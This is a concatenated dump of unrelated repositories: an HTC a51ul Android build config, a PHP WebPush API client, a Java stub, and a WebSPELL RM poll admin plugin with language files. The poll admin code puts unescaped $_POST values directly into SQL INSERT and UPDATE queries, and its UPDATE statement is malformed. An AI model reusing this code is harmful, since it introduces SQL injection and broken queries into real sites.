BOARD_HAVE_BLUETOOTH := true
BOARD_HAVE_BLUETOOTH_QCOM := true
BLUETOOTH_HCI_USE_MCT := true
BOARD_BLUETOOTH_BDROID_BUILDCFG_INCLUDE_DIR := device/htc/a51ul/bluetooth
# Camera
COMMON_GLOBAL_CFLAGS += -DPROPERTY_PERMS_APPEND='{"htc.camera.sensor.", AID_CAMERA, 0}, {"camera.4k2k.", AID_MEDIA, 0},'
USE_DEVICE_SPECIFIC_CAMERA := true
# Charge mode
BOARD_CHARGING_MODE_BOOTING_LPM := /sys/htc_lpm/lpm_mode
# Font
EXTENDED_FONT_FOOTPRINT := true
# Graphics
TARGET_USES_ION := true
USE_OPENGL_RENDERER := true
OVERRIDE_RS_DRIVER := libRSDriver_adreno.so
# Includes
TARGET_SPECIFIC_HEADER_PATH := device/htc/a51ul/include
# Libc extensions
BOARD_PROVIDES_ADDITIONAL_BIONIC_STATIC_LIBS += libc_htc_symbols
# Lights
TARGET_PROVIDES_LIBLIGHT := true
# Logging
COMMON_GLOBAL_CFLAGS += -DMOTOROLA_LOG
# NFC
BOARD_NFC_CHIPSET := pn547
# Power
TARGET_POWERHAL_VARIANT := qcom
# RIL
BOARD_PROVIDES_LIBRIL := true
BOARD_RIL_CLASS := ../../../device/htc/a51ul/ril/
# RPC
TARGET_NO_RPC := true
# Wifi
BOARD_HAS_QCOM_WLAN := true
BOARD_WLAN_DEVICE := qcwcn
WPA_SUPPLICANT_VERSION := VER_0_8_X
BOARD_WPA_SUPPLICANT_DRIVER := NL80211
BOARD_WPA_SUPPLICANT_PRIVATE_LIB := lib_driver_cmd_$(BOARD_WLAN_DEVICE)
BOARD_HOSTAPD_DRIVER := NL80211
BOARD_HOSTAPD_PRIVATE_LIB := lib_driver_cmd_$(BOARD_WLAN_DEVICE)
TARGET_USES_WCNSS_CTRL := true
WIFI_DRIVER_FW_PATH_STA := "sta"
WIFI_DRIVER_FW_PATH_AP := "ap"
# Partitions
BOARD_FLASH_BLOCK_SIZE := 131072
BOARD_BOOTIMAGE_PARTITION_SIZE := 268435456
BOARD_CACHEIMAGE_FILE_SYSTEM_TYPE := ext4
BOARD_CACHEIMAGE_PARTITION_SIZE := 2684354560
BOARD_RECOVERYIMAGE_PARTITION_SIZE := 268435456
BOARD_SYSTEMIMAGE_PARTITION_SIZE := 3221225472
BOARD_USERDATAIMAGE_PARTITION_SIZE := 12884901888
BOARD_VOLD_EMMC_SHARES_DEV_MAJOR := true
# Charge mode
BOARD_CHARGING_MODE_BOOTING_LPM := /sys/htc_lpm/lpm_mode
# Recovery
BOARD_HAS_NO_SELECT_BUTTON := true
BOARD_RECOVERY_SWIPE := true
BOARD_USE_CUSTOM_RECOVERY_FONT := \"roboto_15x24.h\"
TARGET_RECOVERY_FSTAB := device/htc/a51ul/rootdir/etc/fstab.qcom
TARGET_RECOVERY_PIXEL_FORMAT := "RGBX_8888"
# SELinux
include device/qcom/sepolicy/sepolicy.mk
BOARD_SEPOLICY_DIRS += device/htc/a51ul/sepolicy
BOARD_SEPOLICY_UNION += \
akmd.te \
device.te \
file_contexts \
file.te \
init.te \
kernel.te \
mediaserver.te \
mm-qcamerad.te \
mpdecision.te \
platform_app.te \
property_contexts \
recovery.te \
rmt_storage.te \
system_server.te \
thermal-engine.te \
ueventd.te \
vibe_dev.te \
vold.te \
wpa.te
# Vendor Init
#TARGET_UNIFIED_DEVICE := true
#TARGET_INIT_VENDOR_LIB := libinit_a51ul
#TARGET_LIBINIT_DEFINES_FILE := device/htc/a51ul/init/init_a51ul.c
# Releasetools
#TARGET_RELEASETOOLS_EXTENSIONS := device/htc/a51ul/releasetools
# Webkit
ENABLE_WEBGL := true
TARGET_FORCE_CPU_UPLOAD := true
# Hardware
#BOARD_HARDWARE_CLASS := device/htc/a51ul/cmhw
# inherit from the proprietary version
-include vendor/htc/a51ul/BoardConfigVendor.mk
<file_sep>/idc/himax-touchscreen.idc
touch.deviceType = touchScreen
keyboard.orientationAware = 1
<file_sep>/vendorsetup.sh
add_lunch_combo cm_a51ul-eng
add_lunch_combo cm_a51ul-userdebug
| 5553c269debb9407167dfde452f4e9edad019406 | [
"C",
"Makefile",
"Shell"
] | 3 | Makefile | Thecrazyskull/device_htc_a51ul | c3d94d56bde08acc407adaa40e3c4e42d2985d78 | 1ef560d3c7f636678d92d5ce28d9a6e93e7bc150 |
refs/heads/master | <repo_name>default-settings/webpush-php<file_sep>/src/DefaultSettings/WebpushPHP/WebpushPHP.php
<?php
namespace DefaultSettings\WebpushPHP;
use \Curl\Curl;
class WebpushPHPException extends \Exception { }
class WebpushPHP {
static $token = null, $secret = null;
static $apipath = "https://webpush.viaduct.io/vwp/api";
static function trigger($channel, $event, $data){
WebpushPHP::validate();
$curl = new Curl();
$response = $curl->post(WebpushPHP::$apipath . '/trigger', [
'token' => WebpushPHP::$token,
'secret' => WebpushPHP::$secret,
'channel' => $channel,
'event' => $event,
'data' => json_encode($data)
]);
return $response;
}
static function validate(){
if(WebpushPHP::$token == null){
throw new WebpushPHPException('token cannot be null');
}
if(WebpushPHP::$secret == null){
throw new WebpushPHPException('token secret cannot be null');
}
}
}
<file_sep>/README.md
# Viaduct WebPush PHP Client
...by [Default Settings](http://defaultsettings.co.uk)
This is a PHP Client for the [Viaduct WebPush service](http://viaduct.io). The WebPush service
allows you to easily provide real-time messaging to your users in their browsers.
## Install
The recommended way to install this library is [through Composer](http://getcomposer.org).
[New to Composer?](http://getcomposer.org/doc/00-intro.md)
This will install the latest supported version:
```bash
$ composer require default-settings/webpush-php
```
## Usage
### Configuration
```php
use DefaultSettings\WebpushPHP;
WebpushPHP::$token = 'your-token'
WebpushPHP::$secret = 'your-secret'
```
### Sending Messages via the HTTP API
Sending messages via the HTTP API is ideal if you're sending low-frequency messages and when you don't need to receive any messages in return.
```php
# Sending a single message
WebpushPHP::trigger('test-channel', 'say-hello', ['name' => 'Adam']);
```
### Sending and Receiving via the Websockets API
Functionality and updated README.md can be found in the feature/websockets branch.
## License
[The Unlicense](LICENSE.md)
| 5b296f5d3e33cd1ac5f085ffd299103855254453 | [
"Markdown",
"PHP"
] | 2 | PHP | default-settings/webpush-php | cee9894737fa93a2e80ef72031261392a300fdb0 | 1ad30c8664286bd7a72b46ca223e388e82097cfd |
refs/heads/master | <repo_name>hwangtaewon/JavaDesignPattern<file_sep>/README.md
# JavaDesignPattern
This is project to study design pattern of java.
<file_sep>/JavaDesignPattern/src/ch01/iteratorPattern/BookShelf.java
package ch01.iteratorPattern;
public class BookShelf {
String[] books;
public BookShelf(int size) {
books = new String[size];
}
} | 019ad522a086f9719bdba9ed1d2c1d992a8d57af | [
"Markdown",
"Java"
] | 2 | Markdown | hwangtaewon/JavaDesignPattern | ea9b5f0736a3a662429c9c547c74e2a1d80ec791 | 52beb99eadeeea7a43210ecac174c60aa49c56df |
refs/heads/master | <file_sep><?php
/*¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\
| _ _ ___ ___ ___ ___ ___ __ __ ___ __ __ |
|( \/\/ )( _)( ,)/ __)( ,\( _)( ) ( ) ( ,) ( \/ ) |
| \ / ) _) ) ,\\__ \ ) _/ ) _) )(__ )(__ ) \ ) ( |
| \/\/ (___)(___/(___/(_) (___)(____)(____) (_)\_)(_/\/\_) |
| ___ ___ |
| |__ \ / _ \ |
| ) | | | | | |
| / / | | | | |
| / /_ _ | |_| | |
| |____| (_) \___/ |
\___________________________________________________________________/
/ \
| Copyright 2005-2018 by webspell.org / webspell.info |
| Copyright 2018-2019 by webspell-rm.de |
| |
| - Script runs under the GNU GENERAL PUBLIC LICENCE |
| - It's NOT allowed to remove this copyright-tag |
| - http://www.fsf.org/licensing/licenses/gpl.html |
| |
| Code based on WebSPELL Clanpackage |
| (<NAME> - webspell.at) |
\___________________________________________________________________/
/ \
| WEBSPELL RM Version 2.0 |
| For Support, Mods and the Full Script visit |
| webspell-rm.de |
\__________________________________________________________________*/
# Sprachdateien aus dem Plugin-Ordner laden
$pm = new plugin_manager();
$plugin_language = $pm->plugin_language("admin_polls", $plugin_path);
$_language->readModule('polls', false, true);
$ergebnis = safe_query("SELECT * FROM ".PREFIX."navigation_dashboard_links WHERE modulname='forum'");
while ($db=mysqli_fetch_array($ergebnis)) {
$accesslevel = 'is'.$db['accesslevel'].'admin';
if (!$accesslevel($userID) || mb_substr(basename($_SERVER[ 'REQUEST_URI' ]), 0, 15) != "admincenter.php") {
die($_lang[ 'access_denied' ]);
}
}
if (isset($_POST[ 'save' ])) {
$CAPCLASS = new \webspell\Captcha;
if ($CAPCLASS->checkCaptcha(0, $_POST[ 'captcha_hash' ])) {
$runtime = strtotime($_POST['runtime']);
safe_query(
"INSERT INTO
" . PREFIX . "plugins_poll (
aktiv,
titel,
description,
o1,
o2,
o3,
o4,
o5,
o6,
o7,
o8,
o9,
o10,
comments,
laufzeit,
intern,
published
)
values(
'1',
'" . $_POST[ 'title' ] . "',
'" . $_POST[ 'description' ] . "',
'" . $_POST[ 'op1' ] . "',
'" . $_POST[ 'op2' ] . "',
'" . $_POST[ 'op3' ] . "',
'" . $_POST[ 'op4' ] . "',
'" . $_POST[ 'op5' ] . "',
'" . $_POST[ 'op6' ] . "',
'" . $_POST[ 'op7' ] . "',
'" . $_POST[ 'op8' ] . "',
'" . $_POST[ 'op9' ] . "',
'" . $_POST[ 'op10' ] . "',
'" . $_POST[ 'comments' ] . "',
'" . $runtime . "',
'" . $_POST[ 'intern' ] . "',
'" . $_POST[ 'published' ] . "'
)"
);
$id = mysqli_insert_id($_database);
safe_query(
"INSERT INTO
" . PREFIX . "plugins_poll_votes (pollID, o1, o2, o3, o4, o5, o6, o7, o8, o9, o10)
values( '$id', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0' )"
);
redirect("admincenter.php?site=admin_polls", generateSuccessBox($plugin_language[ 'poll_saved' ], $plugin_language[ 'success' ], true), 3);
} else {
redirect("admincenter.php?site=admin_polls&action=add", generateErrorBox($plugin_language[ 'transaction_invalid' ], $plugin_language[ 'alert' ], true), 3);
}
} elseif (isset($_POST[ 'saveedit' ])) {
$CAPCLASS = new \webspell\Captcha;
if ($CAPCLASS->checkCaptcha(0, $_POST[ 'captcha_hash' ])) {
$pollID = $_POST[ 'pollID' ];
$runtime = strtotime($_POST['runtime']);
if (isset($_POST[ 'reset' ])==1) {
safe_query("DELETE FROM " . PREFIX . "plugins_poll WHERE pollID='$pollID'");
safe_query("DELETE FROM " . PREFIX . "plugins_poll_votes WHERE pollID='$pollID'");
safe_query(
"INSERT INTO
" . PREFIX . "plugins_poll (
aktiv,
titel,
description,
o1,
o2,
o3,
o4,
o5,
o6,
o7,
o8,
o9,
o10,
comments,
laufzeit,
intern,
published
)
values(
'1',
'" . $_POST[ 'title' ] . "',
'" . $_POST[ 'description' ] . "',
'" . $_POST[ 'op1' ] . "',
'" . $_POST[ 'op2' ] . "',
'" . $_POST[ 'op3' ] . "',
'" . $_POST[ 'op4' ] . "',
'" . $_POST[ 'op5' ] . "',
'" . $_POST[ 'op6' ] . "',
'" . $_POST[ 'op7' ] . "',
'" . $_POST[ 'op8' ] . "',
'" . $_POST[ 'op9' ] . "',
'" . $_POST[ 'op10' ] . "',
'" . $_POST[ 'comments' ] . "',
'" . $runtime . "',
'" . $_POST[ 'intern' ] . "',
'" . $_POST[ 'published' ] . "'
)"
);
$id = mysqli_insert_id($_database);
safe_query(
"INSERT INTO
" . PREFIX . "plugins_poll_votes (
pollID,
o1,
o2,
o3,
o4,
o5,
o6,
o7,
o8,
o9,
o10
)
values(
'" . (int)$id . "',
'0',
'0',
'0',
'0',
'0',
'0',
'0',
'0',
'0',
'0'
)"
);
} else {
safe_query(
"UPDATE
" . PREFIX . "plugins_poll
SET
titel='" . $_POST[ 'title' ] . "',
description'" . $_POST[ 'description' ] . "',
o1='" . $_POST[ 'op1' ] . "',
o2='" . $_POST[ 'op2' ] . "',
o3='" . $_POST[ 'op3' ] . "',
o4='" . $_POST[ 'op4' ] . "',
o5='" . $_POST[ 'op5' ] . "',
o6='" . $_POST[ 'op6' ] . "',
o7='" . $_POST[ 'op7' ] . "',
o8='" . $_POST[ 'op8' ] . "',
o9='" . $_POST[ 'op9' ] . "',
o10='" . $_POST[ 'op10' ] . "',
comments = '" . $_POST[ 'comments' ] . "',
laufzeit = '" . $runtime . "',
intern = '" . $intern . "',
published = '" . $published . "'
WHERE
pollID='" . (int)$pollID."'"
);
}
redirect("admincenter.php?site=admin_polls", generateSuccessBox($plugin_language[ 'poll_updated' ], $plugin_language[ 'success' ], true), 3);
} else {
redirect("admincenter.php?site=admin_polls", generateErrorBox($plugin_language[ 'transaction_invalid' ], $plugin_language[ 'alert' ], true), 3);
}
} elseif (isset($_GET[ 'delete' ])) {
$CAPCLASS = new \webspell\Captcha;
if ($CAPCLASS->checkCaptcha(0, $_GET[ 'captcha_hash' ])) {
$pollID = intval($_GET[ 'pollID' ]);
safe_query("DELETE FROM " . PREFIX . "plugins_poll WHERE pollID = '" . $pollID . "'");
safe_query("DELETE FROM " . PREFIX . "plugins_poll_votes WHERE pollID = '" . $pollID . "'");
redirect("admincenter.php?site=admin_polls", generateSuccessBox($plugin_language[ 'poll_deleted' ], $plugin_language[ 'success' ], true), 3);
} else {
redirect("admincenter.php?site=admin_polls", generateErrorBox($plugin_language[ 'transaction_invalid' ], $plugin_language[ 'alert' ], true), 3);
}
} elseif (isset($_GET[ 'reopen' ])) {
$CAPCLASS = new \webspell\Captcha;
if ($CAPCLASS->checkCaptcha(0, $_GET[ 'captcha_hash' ])) {
$pollID = intval($_GET[ 'pollID' ]);
safe_query("UPDATE " . PREFIX . "plugins_poll SET aktiv='1' WHERE pollID='" . $pollID . "'");
redirect("admincenter.php?site=admin_polls", generateSuccessBox($plugin_language[ 'poll_reopened' ], $plugin_language[ 'success' ], true), 3);
} else {
redirect("admincenter.php?site=admin_polls", generateErrorBox($plugin_language[ 'transaction_invalid' ], $plugin_language[ 'alert' ], true), 3);
}
} elseif (isset($_GET[ 'end' ])) {
$CAPCLASS = new \webspell\Captcha;
if ($CAPCLASS->checkCaptcha(0, $_GET[ 'captcha_hash' ])) {
$pollID = intval($_GET[ 'pollID' ]);
safe_query("UPDATE " . PREFIX . "plugins_poll SET aktiv='0' WHERE pollID='" . $pollID . "'");
redirect("admincenter.php?site=admin_polls", generateSuccessBox($plugin_language[ 'poll_ended' ], $plugin_language[ 'success' ], true), 3);
} else {
redirect("admincenter.php?site=admin_polls", generateErrorBox($plugin_language[ 'transaction_invalid' ], $plugin_language[ 'alert' ], true), 3);
}
}
if (isset($_GET[ 'action' ])) {
$action = $_GET[ 'action' ];
} else {
$action = '';
}
if ($action == "add") {
$CAPCLASS = new \webspell\Captcha;
$CAPCLASS->createTransaction();
$hash = $CAPCLASS->getHash();
$ergebnis = safe_query("SELECT * FROM " . PREFIX . "plugins_poll");
$ds = mysqli_fetch_array($ergebnis);
if ($ds['published'] == "1") {
$published = '<option value="1" selected="selected">' . $plugin_language[ 'yes' ] . '</option>
<option value="0">' . $plugin_language[ 'no' ] . '</option>';
} else {
$published = '<option value="1">' . $plugin_language[ 'yes' ] . '</option>
<option value="0" selected="selected">' . $plugin_language[ 'no' ] . '</option>';
}
$data_array = array();
$data_array[ '$hash' ] = $hash;
$data_array[ '$published' ] = $published;
$data_array['$polls']=$plugin_language['polls'];
$data_array['$add_poll']=$plugin_language['add_poll'];
$data_array['$lang_title']=$plugin_language['title'];
$data_array['$lang_description']=$plugin_language['description'];
$data_array['$placeholder_title']=$plugin_language['placeholder_title'];
$data_array['$endingtime']=$plugin_language['endingtime'];
$data_array['$option']=$plugin_language['option'];
$data_array['$comments']=$plugin_language['comments'];
$data_array['$disable_comments']=$plugin_language['disable_comments'];
$data_array['$enable_user_comments']=$plugin_language['enable_user_comments'];
$data_array['$enable_visitor_comments']=$plugin_language['enable_visitor_comments'];
$data_array['$lang_intern']=$plugin_language['intern'];
$data_array['$no']=$plugin_language['no'];
$data_array['$yes']=$plugin_language['yes'];
$data_array['$lang_published']=$plugin_language['published'];
$template = $GLOBALS["_template"]->loadTemplate("admin_polls","add", $data_array, $plugin_path);
echo $template;
} elseif ($action == "edit") {
$pollID = $_GET[ 'pollID' ];
$CAPCLASS = new \webspell\Captcha;
$CAPCLASS->createTransaction();
$hash = $CAPCLASS->getHash();
$ergebnis = safe_query("SELECT * FROM " . PREFIX . "plugins_poll WHERE pollID='" . $pollID . "'");
$ds = mysqli_fetch_array($ergebnis);
$runtime = date("d.m.Y H:i", $ds[ 'laufzeit' ]);
$comments = '<option value="0">' . $plugin_language[ 'disable_comments' ] . '</option>
<option value="1">' . $plugin_language[ 'enable_user_comments' ] . '</option>
<option value="2">' . $plugin_language[ 'enable_visitor_comments' ] . '</option>';
$intern = '<option value="0">' . $plugin_language[ 'no' ] . '</option>
<option value="1">' . $plugin_language[ 'yes' ] . '</option>';
if ($ds['published'] == "1") {
$published = '<option value="1" selected="selected">' . $plugin_language[ 'yes' ] . '</option>
<option value="0">' . $plugin_language[ 'no' ] . '</option>';
} else {
$published = '<option value="1">' . $plugin_language[ 'yes' ] . '</option>
<option value="0" selected="selected">' . $plugin_language[ 'no' ] . '</option>';
}
$input_title = getinput($ds[ 'titel' ]);
$description = getinput($ds[ 'description' ]);
$input_o1 = getinput($ds[ 'o1' ]);
$input_o2 = getinput($ds[ 'o2' ]);
$input_o3 = getinput($ds[ 'o3' ]);
$input_o4 = getinput($ds[ 'o4' ]);
$input_o5 = getinput($ds[ 'o5' ]);
$input_o6 = getinput($ds[ 'o6' ]);
$input_o7 = getinput($ds[ 'o7' ]);
$input_o8 = getinput($ds[ 'o8' ]);
$input_o9 = getinput($ds[ 'o9' ]);
$input_o10 = getinput($ds[ 'o10' ]);
$data_array = array();
$data_array[ '$comments' ] = $comments;
$data_array[ '$hash' ] = $hash;
$data_array[ '$input_o1' ] = $input_o1;
$data_array[ '$input_o2' ] = $input_o2;
$data_array[ '$input_o3' ] = $input_o3;
$data_array[ '$input_o4' ] = $input_o4;
$data_array[ '$input_o5' ] = $input_o5;
$data_array[ '$input_o6' ] = $input_o6;
$data_array[ '$input_o7' ] = $input_o7;
$data_array[ '$input_o8' ] = $input_o8;
$data_array[ '$input_o9' ] = $input_o9;
$data_array[ '$input_o10' ] = $input_o10;
$data_array[ '$input_title' ] = $input_title;
$data_array[ '$published' ] = $published;
$data_array[ '$intern' ] = $intern;
$data_array[ '$pollID' ] = $pollID;
$data_array[ '$runtime' ] = $runtime;
$data_array[ '$description' ] = $description;
$data_array['$polls']=$plugin_language['polls'];
$data_array['$lang_title']=$plugin_language['title'];
$data_array['$lang_description']=$plugin_language['description'];
$data_array['$endingtime']=$plugin_language['endingtime'];
$data_array['$option']=$plugin_language['option'];
$data_array['$comments']=$plugin_language['comments'];
$data_array['$disable_comments']=$plugin_language['disable_comments'];
$data_array['$enable_user_comments']=$plugin_language['enable_user_comments'];
$data_array['$enable_visitor_comments']=$plugin_language['enable_visitor_comments'];
$data_array['$lang_intern']=$plugin_language['intern'];
$data_array['$no']=$plugin_language['no'];
$data_array['$yes']=$plugin_language['yes'];
$data_array['$lang_published']=$plugin_language['published'];
$data_array['$edit_poll']=$plugin_language['edit_poll'];
$data_array['$reset_votes']=$plugin_language['reset_votes'];
$template = $GLOBALS["_template"]->loadTemplate("admin_polls","edit", $data_array, $plugin_path);
echo $template;
} else {
$data_array = array();
$data_array['$polls']=$plugin_language['polls'];
$data_array['$new_poll']=$plugin_language['new_poll'];
$data_array['$endingtime']=$plugin_language['endingtime'];
$data_array['$title']=$plugin_language['title'];
$data_array['$votes']=$plugin_language['votes'];
$data_array['$published']=$plugin_language['published'];
$data_array['$actions']=$plugin_language['actions'];
$data_array['$options']=$plugin_language['options'];
$template = $GLOBALS["_template"]->loadTemplate("admin_polls","head", $data_array, $plugin_path);
echo $template;
$CAPCLASS = new \webspell\Captcha;
$CAPCLASS->createTransaction();
$hash = $CAPCLASS->getHash();
$ergebnis = safe_query("SELECT * FROM " . PREFIX . "plugins_poll ORDER BY pollID DESC");
$anz = mysqli_num_rows($ergebnis);
if ($anz) {
$i = 1;
while ($ds = mysqli_fetch_array($ergebnis)) {
if ($ds[ 'aktiv' ]) {
$actions = '<a href="admincenter.php?site=admin_polls&end=true&pollID=' . $ds[ 'pollID' ] . '&captcha_hash=' . $hash.'" class="btn btn-info">'.$plugin_language[ 'stop_poll' ].'</a>';
} else {
$actions = '<a href="admincenter.php?site=admin_polls&reopen=true&pollID=' . $ds[ 'pollID' ] . '&captcha_hash=' . $hash.'" class="btn btn-success">'.$plugin_language[ 'reopen_poll' ].'</a>';
}
$votes = safe_query("SELECT * FROM " . PREFIX . "plugins_poll_votes WHERE pollID='" . $ds[ 'pollID' ] . "'");
$dv = mysqli_fetch_array($votes);
$gesamtstimmen = $dv[ 'o1' ] + $dv[ 'o2' ] + $dv[ 'o3' ] + $dv[ 'o4' ] + $dv[ 'o5' ] + $dv[ 'o6' ] + $dv[ 'o7' ] + $dv[ 'o8' ] + $dv[ 'o9' ] + $dv[ 'o10' ];
$button_edit = '<a href="admincenter.php?site=admin_polls&action=edit&pollID='. $ds[ 'pollID' ].'" class="btn btn-warning">'.$plugin_language[ 'edit' ].'</a>';
$button_delete = '<input class="btn btn-danger" type="button" onclick="MM_confirm(\'' . $plugin_language['really_delete'] . '\', \'admincenter.php?site=admin_polls&delete=true&pollID=' . $ds[ 'pollID' ] . '&captcha_hash=' . $hash . '\')" value="' . $plugin_language['delete'] . '" />';
$laufzeit = getformatdatetime($ds[ 'laufzeit' ]);
$pollID = $ds[ 'pollID' ];
$title = $ds[ 'titel' ];
$ds[ 'published' ] == 1 ? $published = '<span class="text-green">' . $plugin_language[ 'yes' ] . '</span>' : $published = '<span class="text-red">' . $plugin_language[ 'no' ] . '</span>';
$data_array = array();
$data_array[ '$actions' ] = $actions;
$data_array[ '$button_delete' ] = $button_delete;
$data_array[ '$button_edit' ] = $button_edit;
$data_array[ '$laufzeit' ] = $laufzeit;
$data_array[ '$published' ] = $published;
$data_array[ '$gesamtstimmen' ] = $gesamtstimmen;
$data_array[ '$pollID' ] = $pollID;
$data_array[ '$title' ] = $title;
$template = $GLOBALS["_template"]->loadTemplate("admin_polls","content", $data_array, $plugin_path);
echo $template;
$i++;
}
} else {
$data_array = array();
$data_array['$no_entries']=$plugin_language['no_entries'];
$template = $GLOBALS["_template"]->loadTemplate("admin_polls","content-no", $data_array, $plugin_path);
echo $template;
}
$template = $GLOBALS["_template"]->loadTemplate("admin_polls","foot", $data_array, $plugin_path);
echo $template;
}
<file_sep><?php
/*¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\
| _ _ ___ ___ ___ ___ ___ __ __ ___ __ __ |
|( \/\/ )( _)( ,)/ __)( ,\( _)( ) ( ) ( ,) ( \/ ) |
| \ / ) _) ) ,\\__ \ ) _/ ) _) )(__ )(__ ) \ ) ( |
| \/\/ (___)(___/(___/(_) (___)(____)(____) (_)\_)(_/\/\_) |
| ___ ___ |
| |__ \ / _ \ |
| ) | | | | | |
| / / | | | | |
| / /_ _ | |_| | |
| |____| (_) \___/ |
\___________________________________________________________________/
/ \
| Copyright 2005-2018 by webspell.org / webspell.info |
| Copyright 2018-2019 by webspell-rm.de |
| |
| - Script runs under the GNU GENERAL PUBLIC LICENCE |
| - It's NOT allowed to remove this copyright-tag |
| - http://www.fsf.org/licensing/licenses/gpl.html |
| |
| Code based on WebSPELL Clanpackage |
| (<NAME> - webspell.at) |
\___________________________________________________________________/
/ \
| WEBSPELL RM Version 2.0 |
| For Support, Mods and the Full Script visit |
| webspell-rm.de |
\__________________________________________________________________*/
$language_array = Array(
/* do not edit above this line */
'access_denied'=>'Accesso negato',
'actions'=>'Azioni',
'add_poll'=>'Aggiungi Sondaggio',
'alert'=>'Attenzione',
'comments'=>'Commenti',
'days'=>'Giorni',
'delete'=>'Cancella',
'disable_comments'=>'Disabilitare i commenti',
'edit'=>'Edita',
'edit_poll'=>'Salva Sondaggio',
'enable_user_comments'=>'Consenti commenti agli Utenti',
'enable_visitor_comments'=>'Consenti commenti ai Visitatori',
'endingtime'=>'Scadenza Sondaggio',
'intern'=>'Interno',
'options'=>'Opzioni',
'new_poll'=>'Nuovo Sondaggio',
'no'=>'No',
'no_active_poll'=>'Nessun sondaggio attivo',
'no_entries'=>'Nessun sondaggio disponibile',
'on'=>'su',
'option'=>'Opzioni',
'published'=>'Visualizzato?',
'placeholder_title'=>'Inserisci qui il titolo del sondaggio...',
'poll_deleted'=>'Sondaggio eliminato con successo.',
'poll_ended'=>'Sondaggio completato con successo.',
'poll_reopened'=>'Sondaggio riaperto con successo.',
'poll_saved'=>'Sondaggio salvato con successo.',
'poll_updated'=>'Sondaggio modificato con successo.',
'polls'=>'Sondaggi',
'really_delete'=>'Davvero eliminare questo sondaggio?',
'really_reopen'=>'Riaprire davvero questo sondaggio?',
'really_stop'=>'Ferma questo sondaggio davvero?',
'reopen_poll'=>'Riaprire Sondaggio',
'reset_votes'=>'Reimpostare le voci',
'stop_poll' => 'Fine sondaggio',
'stopped_poll'=>'Sondaggio completato',
'success'=>'Successo',
'time_left'=>'Tempo rimanente',
'title'=>'Titolo',
'description'=>'Descrizione Sondaggio',
'transaction_invalid'=>'Transazione Invalida',
'votes'=>'Voti',
'yes'=>'Si',
'yht_enter_2_options'=>'È necessario immettere almeno 2 opzioni.',
'yht_enter_endingtime'=>'È necessario specificare l\'ora di fine.',
'yht_enter_title'=>'È necessario immettere un titolo.',
);<file_sep><?php
/*¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\
| _ _ ___ ___ ___ ___ ___ __ __ ___ __ __ |
|( \/\/ )( _)( ,)/ __)( ,\( _)( ) ( ) ( ,) ( \/ ) |
| \ / ) _) ) ,\\__ \ ) _/ ) _) )(__ )(__ ) \ ) ( |
| \/\/ (___)(___/(___/(_) (___)(____)(____) (_)\_)(_/\/\_) |
| ___ ___ |
| |__ \ / _ \ |
| ) | | | | | |
| / / | | | | |
| / /_ _ | |_| | |
| |____| (_) \___/ |
\___________________________________________________________________/
/ \
| Copyright 2005-2018 by webspell.org / webspell.info |
| Copyright 2018-2019 by webspell-rm.de |
| |
| - Script runs under the GNU GENERAL PUBLIC LICENCE |
| - It's NOT allowed to remove this copyright-tag |
| - http://www.fsf.org/licensing/licenses/gpl.html |
| |
| Code based on WebSPELL Clanpackage |
| (<NAME> - webspell.at) |
\___________________________________________________________________/
/ \
| WEBSPELL RM Version 2.0 |
| For Support, Mods and the Full Script visit |
| webspell-rm.de |
\__________________________________________________________________*/
$language_array = array(
/* do not edit above this line */
'already_voted' => '<div class="alert alert-danger" role="alert">Hai già votato, non puoi votare 2 volte!!.</div>',
'comments' => 'Commenti',
'days' => 'giorni',
'endingtime' => 'Status',
'intern' => 'Interno',
'latest_by' => 'più recente di',
'no_access' => 'Nessun accesso!',
'no_active_poll' => 'Nessun sondaggio attivo',
'no_entries' => 'Nessuna voce!',
'on' => 'su',
'poll_ended' => 'Sondaggio già concluso',
'poll_end' => 'Il sondaggio viene eseguito fino al',
'polls' => 'Sondaggi',
'show_polls' => 'Mostrare sondaggi',
'time_left' => 'Tempo rimanente',
'title' => 'Titolo',
'vote' => 'Vota',
'vote_now' => 'Vota Ora',
'votes' => 'voti'
);
<file_sep><?php
/*¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\
| _ _ ___ ___ ___ ___ ___ __ __ ___ __ __ |
|( \/\/ )( _)( ,)/ __)( ,\( _)( ) ( ) ( ,) ( \/ ) |
| \ / ) _) ) ,\\__ \ ) _/ ) _) )(__ )(__ ) \ ) ( |
| \/\/ (___)(___/(___/(_) (___)(____)(____) (_)\_)(_/\/\_) |
| ___ ___ |
| |__ \ / _ \ |
| ) | | | | | |
| / / | | | | |
| / /_ _ | |_| | |
| |____| (_) \___/ |
\___________________________________________________________________/
/ \
| Copyright 2005-2018 by webspell.org / webspell.info |
| Copyright 2018-2019 by webspell-rm.de |
| |
| - Script runs under the GNU GENERAL PUBLIC LICENCE |
| - It's NOT allowed to remove this copyright-tag |
| - http://www.fsf.org/licensing/licenses/gpl.html |
| |
| Code based on WebSPELL Clanpackage |
| (<NAME> - webspell.at) |
\___________________________________________________________________/
/ \
| WEBSPELL RM Version 2.0 |
| For Support, Mods and the Full Script visit |
| webspell-rm.de |
\__________________________________________________________________*/
$language_array = Array(
/* do not edit above this line */
'access_denied'=>'Zugriff verweigert',
'actions'=>'Aktionen',
'add_poll'=>'Umfrage hinzufügen',
'alert'=>'Achtung',
'comments'=>'Kommentare',
'days'=>'Tage',
'delete'=>'löschen',
'disable_comments'=>'Kommentare deaktivieren',
'edit'=>'ändern',
'edit_poll'=>'Umfrage ändern',
'enable_user_comments'=>'Benutzterkommentare erlauben',
'enable_visitor_comments'=>'Besucherkommentare erlauben',
'endingtime'=>'Endzeit',
'intern'=>'Intern',
